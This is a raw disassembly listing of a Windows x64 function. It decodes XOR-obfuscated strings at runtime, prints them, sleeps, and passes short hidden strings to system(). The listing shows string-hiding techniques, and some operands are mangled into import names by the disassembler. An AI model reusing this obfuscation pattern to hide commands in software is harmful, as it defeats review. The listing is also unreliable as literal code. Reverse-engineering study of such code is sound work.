lea rdx, [rbp + 0x14c]
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x1400774fc]
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x40]
cmp byte [0x1400774fd], 0
je 0x140020c5b
mov byte [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_45
xor byte [rsp + 0x41], 0x35
call fcn.140023630
mov cl, 7
call fcn.14001d350
movsd xmm0, qword [0x140077048]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rsp + 0x58], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x58], 0x7d
xor byte [rsp + 0x59], 0x35
xor byte [rsp + 0x5a], 0x36
xor byte [rsp + 0x5b], 0x37
xor byte [rsp + 0x5c], 0x38
xor byte [rsp + 0x5d], 0x39
xor byte [rsp + 0x5e], 0x3a
xor byte [rsp + 0x5f], 0x3b
xor al, 0x3c
mov byte [rsp + 0x60], al
lea rdx, [rsp + 0x58]
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
mov rax, qword [str.RT____]
mov qword [rbp + 0x158], rax
cmp byte [str._8z_a_], 0
je 0x140020e43
cmp r13d, 2
jl 0x140020df9
movdqa xmm4, xmmword [0x140077600]
movd xmm6, r14d
movd xmm5, r15d
movdqa xmm2, xmmword [0x1400775b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x158]
xorps xmm2, xmm1
movd dword [rbp + 0x158], xmm2
movdqa xmm3, xmmword [0x1400775c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400775d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
jmp 0x140020e43
lea r9, [rbp + 0x158]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140020e10
lea rdx, [rbp + 0x158]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023630
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x488]
call fcn.140022630
nop
lea rcx, [rbp + 0x558]
call fcn.140022300
lea rcx, [rbp + 0x558]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x468]
call fcn.140022630
nop
lea rcx, [rbp + 0x428]
call fcn.140022630
mov r14, qword [rbp + 0x1c8]
mov r15, qword [rbp + 0x1c0]
jmp 0x1400203a0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x6d0]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x120], 0x43
mov byte [rbp + 0x121], gethostname
mov byte [rbp + 0x122], 0x5e
mov byte [rbp + 0x123], 0x58
mov byte [rbp + 0x124], 0x62
mov byte [rbp + 0x125], 0x65
mov byte [rbp + 0x126], 0x67
mov byte [rbp + 0x127], 0x63
mov byte [rbp + 0x128], WSASetLastError
mov byte [rbp + 0x129], 0x64
mov byte [rbp + 0x12a], Ordinal_79
mov byte [rbp + 0x12b], 0x45
mov byte [rbp + 0x12c], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], 0x61
mov byte [rbp + 0x12e], 0x61
mov byte [rbp + 0x12f], 0x7e
mov byte [rbp + 0x130], 0x7d
mov byte [rbp + 0x131], Ordinal_46
mov byte [rbp + 0x132], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x133], 0x43
mov byte [rbp + 0x134], 0x62
mov byte [rbp + 0x135], 0x7f
mov byte [rbp + 0x136], 0x66
mov byte [rbp + 0x137], 0x7a
mov byte [rbp + 0x138], 0x44
mov byte [rbp + 0x139], 0x54
mov byte [rbp + 0x13a], 0x46
mov byte [rbp + 0x13b], 0x5f
mov byte [rbp + 0x13c], 0x40
mov byte [rbp + 0x13d], Ordinal_79
mov byte [rbp + 0x13e], 0x41
mov byte [rbp + 0x13f], 0x58
mov byte [rbp + 0x140], 0x41
mov byte [rbp + 0x141], Ordinal_79
mov byte [rbp + 0x142], Ordinal_35
movzx eax, byte [rbp + 0x120]
mov r9, rsi
movabs rbx, 0xc372506c3d674808
mov r10, rbx
lea rax, [rbp + 0x120]
sub r10, rax
mov r14d, reloc.WS2_32.dll_ntohs
nop word [rax + rax]
lea rdx, [rbp + 0x120]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rax, rbx
shr rax, cl
and al, r14b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x120], al
inc r9
cmp r9, 0x23
jb 0x140020ff0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x6d0]
call fcn.1400223c0
lea rcx, [rbp + 0x778]
call fcn.140022300
lea rcx, [rbp + 0x778]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x488]
call fcn.140022630
nop
lea rcx, [rbp + 0x558]
call fcn.140022300
lea rcx, [rbp + 0x558]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x468]
call fcn.140022630
nop
lea rcx, [rbp + 0x428]
call fcn.140022630
call fcn.1400175b0
mov eax, dword [str.WYE7h]
mov dword [rbp + 0x148], eax
cmp byte [0x140076cbf], 0
je 0x1400211b3
cmp r13d, 2
jl 0x14002116b
movdqa xmm3, xmmword [0x1400775b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140077600]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140077600]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov ebx, 5
movd xmm0, ebx
psrad xmm2, xmm0
mov edi, Ordinal_33
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400775d0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
jmp 0x1400211bb
lea r9, [rbp + 0x148]
mov r8d, esi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140021180
mov edi, Ordinal_33
lea ebx, [rdi - 0x1a]
lea rcx, [rbp + 0x148]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001d3a0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001e2f0]
lea rcx, [rbp + 0x418]
call fcn.140024b60
nop
lea rcx, [rbp + 0x418]
call fcn.140002080
call fcn.1400175b0
mov eax, dword [str.WYE7h]
mov dword [rbp + 0x48], eax
cmp byte [0x140076cbf], 0
je 0x1400212f3
cmp r13d, 2
jl 0x1400212af
movdqa xmm3, xmmword [0x1400775b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140077600]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140077600]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, ebx
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400775d0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400775e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x48], xmm2
jmp 0x1400212f3
lea r9, [rbp + 0x48]
mov r8d, esi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400212c0
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14001d3a0
mov cl, 7
call fcn.14001d350
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x80], 0x5a
mov byte [rbp - 0x7f], 0x56
mov byte [rbp - 0x7e], 0x51
mov byte [rbp - 0x7d], Ordinal_45
mov byte [rbp - 0x7c], 0x56
movzx eax, byte [rbp - 0x80]
mov r9, rsi
movabs rbx, 0xeb02ec83739aa258
mov r10, rbx
lea rax, [rbp - 0x80]
sub r10, rax
nop
lea rdx, [rbp - 0x80]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x80], al
inc r9
cmp r9, 5
jb 0x140021340
lea rdx, [rbp - 0x80]
mov rcx, r11
call fcn.140023630
mov cl, reloc.WS2_32.dll_listen
call fcn.14001d350
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x34], 0x5b
mov byte [rsp + 0x35], 0x76
movzx eax, byte [rsp + 0x34]
mov r9, rsi
movabs rbx, 0x7f294a8f75a74670
mov r10, rbx
lea rax, [rsp + 0x34]
sub r10, rax
nop dword [rax + rax]
lea rdx, [rsp + 0x34]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x34], al
inc r9
cmp r9, 2
jb 0x1400213c0
lea rdx, [rsp + 0x34]
mov rcx, r11
call fcn.140023630
mov cl, 7
call fcn.14001d350
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x58], reloc.WS2_32.dll_listen
mov byte [rbp - 0x57], 0x5e
mov byte [rbp - 0x56], Ordinal_35
mov byte [rbp - 0x55], reloc.WS2_32.dll_socket
mov byte [rbp - 0x54], reloc.WS2_32.dll_send
mov byte [rbp - 0x53], reloc.WS2_32.dll_socket
mov byte [rbp - 0x52], Ordinal_30
mov byte [rbp - 0x51], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp - 0x50], 0xe4
mov byte [rbp - 0x4f], 0xad
mov byte [rbp - 0x4e], 0x8a
movzx eax, byte [rbp - 0x58]
mov r9, rsi
movabs rbx, 0x514a8d1cc939f78
mov r10, rbx
lea rax, [rbp - 0x58]
sub r10, rax
nop dword [rax]
lea rdx, [rbp - 0x58]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 - 0x58], al
inc r9
cmp r9, 0xb
jb 0x140021460
lea rdx, [rbp - 0x58]
mov rcx, r11
call fcn.140023630
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x68], 0xca
mov byte [rbp + 0x69], 0xcf
mov byte [rbp + 0x6a], 0xcf
mov byte [rbp + 0x6b], 0x9d
mov byte [rbp + 0x6c], 0xa8
mov byte [rbp + 0x6d], 0xa7
mov byte [rbp + 0x6e], 0xbf
mov byte [rbp + 0x6f], 0xa7
mov byte [rbp + 0x70], 0xaa
mov byte [rbp + 0x71], 0xf7
mov byte [rbp + 0x72], 0xbf
mov byte [rbp + 0x73], 0xbb
mov byte [rbp + 0x74], 0xbf
mov byte [rbp + 0x75], 0xb5
mov byte [rbp + 0x76], 0xe9
mov byte [rbp + 0x77], 0xf8
mov byte [rbp + 0x78], 0x91
mov byte [rbp + 0x79], 0xaf
mov byte [rbp + 0x7a], 0xb3
mov byte [rbp + 0x7b], 0xb2
mov byte [rbp + 0x7c], 0xb8
mov byte [rbp + 0x7d], 0xf4
mov byte [rbp + 0x7e], 0xb4
mov byte [rbp + 0x7f], 0xa1
mov byte [rbp + 0x80], Ordinal_211
mov byte [rbp + 0x81], 0x85
mov byte [rbp + 0x82], Ordinal_143
mov byte [rbp + 0x83], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x84], 0x9f
mov byte [rbp + 0x85], 0xe0
movzx eax, byte [rbp + 0x68]
movabs r11, 0xf55f7e6ed3915cc8
mov r9, r11
lea rax, [rbp + 0x68]
sub r9, rax
nop
lea rdx, [rbp + 0x68]
add rdx, rsi
movsx r8, byte [rdx]
mov rcx, rsi
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r14
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r9b
xor al, dl
xor al, r8b
mov byte [rbp + rsi + 0x68], al
inc rsi
cmp rsi, 0x1e
jb 0x140021550
lea rdx, [rbp + 0x68]
mov rcx, r10
call fcn.140023630
mov ecx, 0xf4240
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140024fce
call fcn.140024f60
call fcn.140024fb8
call fcn.140024fa2
call fcn.140024f76
call fcn.140024f8c
call fcn.140024f76
call fcn.140024f8c
call fcn.140024f60
nop
cmp dword [rbp + 0x420], 0
je 0x1400215de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp + 0x7e0]
xor rcx, rsp
call fcn.140067ae0
lea r11, [rsp + 0x920]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret